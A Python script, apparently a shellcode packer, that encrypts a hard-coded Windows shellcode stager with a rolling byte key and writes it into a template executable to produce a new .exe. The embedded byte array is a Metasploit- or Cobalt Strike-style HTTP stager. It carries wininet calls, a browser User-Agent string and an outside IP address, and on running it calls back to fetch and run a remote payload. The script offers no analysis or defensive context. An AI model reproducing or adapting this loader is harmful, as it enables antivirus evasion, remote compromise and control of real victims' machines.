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Encry_nettrans.py
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Encry_nettrans.py
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#
# import zhuye
import kaishi
# import lianxiwo
# import sys
# from PyQt5 import QtCore, QtGui, QtWidgets
# def open(self):
# self.second = lianxiwo.Ui_MainWindow()
# self.second.show()
# 调用go(var1 ,var2)第一个参数需要使用byte类型的list
class ENCRYTO():
def Encrpy(self, var1, var2):
self.code = var1 % 256
self.key = var2 % 256
self.shellcode = self.code + self.key
if (self.shellcode > 256):
self.shellcode = self.shellcode - 256
return self.shellcode;
def Encrpyall(self, load):
kko = 1
for i in range(len(load),1000):
load.append(0)
for b in range(1,len(load)+1):
#修改后
load[b - 1] = self.Encrpy(load[b - 1], kko)
kko = kko + 1
if(load[b-1]==256):
load[b-1]=0
return load
def go(self,shellcode,path):
self.raw = open("raw/old.bin", 'rb')
#文件的二进制代码
self.buf_1 = self.raw.read()
self.buf = list(self.buf_1)
#找到文件中shellcode位置
self.keyyy = 0
for c in range(len(self.buf)):
if self.buf[c]==0x66 and self.buf[c+1]==0x66 and self.buf[c+2]==0x66:
self.keyyy = c
break
#加密shellcode
self.co = self.Encrpyall(shellcode)
#在buf中导入shellcode
for i in self.co:
self.buf[self.keyyy] = i
self.keyyy = self.keyyy + 1
#buf就是exe的bin数据，存储
exe_file = open(path,'wb')
self.buf_byte = b''.join(map(lambda x: int.to_bytes(x, 1, 'little'), self.buf))
exe_file.write(self.buf_byte)
exe_file.close()
self.raw.close()
def change_byte(str):
by_int = 0
by_low = 0
if str[0] == '0':
by_int = 0
if str[0] == '1':
by_int = 1
if str[0] == '2':
by_int = 2
if str[0] == '3':
by_int = 3
if str[0] == '4':
by_int = 4
if str[0] == '5':
by_int = 5
if str[0] == '6':
by_int = 6
if str[0] == '7':
by_int = 7
if str[0] == '8':
by_int = 8
if str[0] == '9':
by_int = 9
if str[0] == 'a':
by_int = 10
if str[0] == 'b':
by_int = 11
if str[0] == 'c':
by_int = 12
if str[0] == 'd':
by_int = 13
if str[0] == 'e':
by_int = 14
if str[0] == 'f':
by_int = 15
if str[1] == '0':
by_low = 0
if str[1] == '1':
by_low = 1
if str[1] == '2':
by_low = 2
if str[1] == '3':
by_low = 3
if str[1] == '4':
by_low = 4
if str[1] == '5':
by_low = 5
if str[1] == '6':
by_low = 6
if str[1] == '7':
by_low = 7
if str[1] == '8':
by_low = 8
if str[1] == '9':
by_low = 9
if str[1] == 'a':
by_low = 10
if str[1] == 'b':
by_low = 11
if str[1] == 'c':
by_low = 12
if str[1] == 'd':
by_low = 13
if str[1] == 'e':
by_low = 14
if str[1] == 'f':
by_low = 15
return by_int*16+by_low
if __name__ == "__main__":
raw = open("raw/old.bin", 'rb')
# 文件的二进制代码
cc = ENCRYTO()
buf = raw.read()
byt = "\\x00\\x19\\x69\\xa0\\x8d".split("\\x")
print(byt)
byte_rss = list()
for i in range(len(byt) - 1):
byte_rss.append(change_byte(byt[i + 1]))
#y = [ord(c) for c in byt]
print(byte_rss)
text = [252, 232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15,
183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 240, 82, 87, 139, 82,
16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, 116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227,
60, 73, 139, 52, 139, 1, 214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248,
59, 125, 36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208,
137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, 235, 134, 93, 104, 110, 101, 116, 0,
104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 232, 0, 0, 0, 0, 49, 255, 87, 87, 87, 87, 87,
104, 58, 86, 121, 167, 255, 213, 233, 164, 0, 0, 0, 91, 49, 201, 81, 81, 106, 3, 81, 81, 104, 81, 17, 0, 0,
83, 80, 104, 87, 137, 159, 198, 255, 213, 80, 233, 140, 0, 0, 0, 91, 49, 210, 82, 104, 0, 50, 192, 132, 82,
82, 82, 83, 82, 80, 104, 235, 85, 46, 59, 255, 213, 137, 198, 131, 195, 80, 104, 128, 51, 0, 0, 137, 224,
106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 95, 49, 255, 87, 87, 106, 255, 83, 86, 104, 45,
6, 24, 123, 255, 213, 133, 192, 15, 132, 202, 1, 0, 0, 49, 255, 133, 246, 116, 4, 137, 249, 235, 9, 104,
170, 197, 226, 93, 255, 213, 137, 193, 104, 69, 33, 94, 49, 255, 213, 49, 255, 87, 106, 7, 81, 86, 80, 104,
183, 87, 224, 11, 255, 213, 191, 0, 47, 0, 0, 57, 199, 117, 7, 88, 80, 233, 123, 255, 255, 255, 49, 255,
233, 145, 1, 0, 0, 233, 201, 1, 0, 0, 232, 111, 255, 255, 255, 47, 121, 88, 69, 70, 0, 106, 17, 130, 126,
176, 87, 153, 180, 35, 171, 24, 227, 209, 44, 20, 110, 53, 144, 163, 211, 176, 122, 167, 34, 236, 185, 148,
221, 46, 56, 103, 167, 212, 212, 8, 11, 17, 31, 2, 212, 215, 71, 221, 168, 216, 72, 205, 207, 172, 68, 102,
107, 219, 6, 60, 32, 234, 187, 69, 144, 116, 183, 34, 22, 48, 75, 104, 208, 1, 131, 144, 9, 236, 0, 85, 115,
101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 52, 46, 48, 32, 40, 99,
111, 109, 112, 97, 116, 105, 98, 108, 101, 59, 32, 77, 83, 73, 69, 32, 55, 46, 48, 59, 32, 87, 105, 110,
100, 111, 119, 115, 32, 78, 84, 32, 53, 46, 49, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 52, 46, 48,
41, 13, 10, 0, 201, 94, 244, 214, 140, 219, 150, 137, 217, 70, 166, 76, 171, 55, 186, 113, 196, 162, 237,
123, 128, 70, 196, 84, 36, 210, 122, 89, 214, 180, 213, 240, 41, 54, 223, 99, 40, 45, 77, 153, 71, 191, 159,
101, 4, 36, 137, 35, 216, 234, 156, 130, 144, 73, 1, 162, 204, 46, 215, 194, 164, 237, 34, 221, 110, 243,
129, 73, 23, 38, 67, 254, 177, 195, 174, 143, 42, 98, 25, 38, 75, 151, 71, 183, 72, 38, 7, 70, 203, 34, 214,
19, 59, 244, 65, 175, 105, 10, 19, 218, 128, 188, 229, 182, 92, 106, 116, 129, 227, 172, 54, 137, 175, 106,
75, 172, 68, 205, 85, 87, 220, 178, 36, 10, 140, 238, 68, 29, 35, 232, 208, 55, 197, 60, 97, 90, 48, 35,
178, 196, 126, 47, 166, 114, 106, 186, 212, 56, 68, 103, 161, 173, 0, 206, 11, 164, 105, 191, 13, 143, 193,
26, 46, 216, 126, 215, 52, 57, 58, 71, 20, 68, 128, 186, 247, 26, 158, 91, 48, 124, 164, 148, 147, 239, 169,
62, 195, 108, 93, 106, 183, 236, 80, 113, 24, 17, 68, 46, 103, 245, 100, 235, 213, 109, 252, 229, 200, 232,
40, 56, 210, 119, 208, 185, 215, 73, 204, 94, 194, 112, 202, 17, 158, 14, 53, 0, 104, 240, 181, 162, 86,
255, 213, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 87, 104, 88, 164, 83, 229, 255, 213, 147, 185, 0, 0,
0, 0, 1, 217, 81, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192,
116, 198, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 232, 137, 253, 255, 255, 49, 48, 49, 46, 51, 52, 46,
51, 51, 46, 49, 55, 52, 0, 25, 105, 160, 141]
klkll = list()
for i in range(len(text)):
klkll.append(text[i])
cc.go(klkll, "C:/Users/GalaXY/Desktop/artif.exe")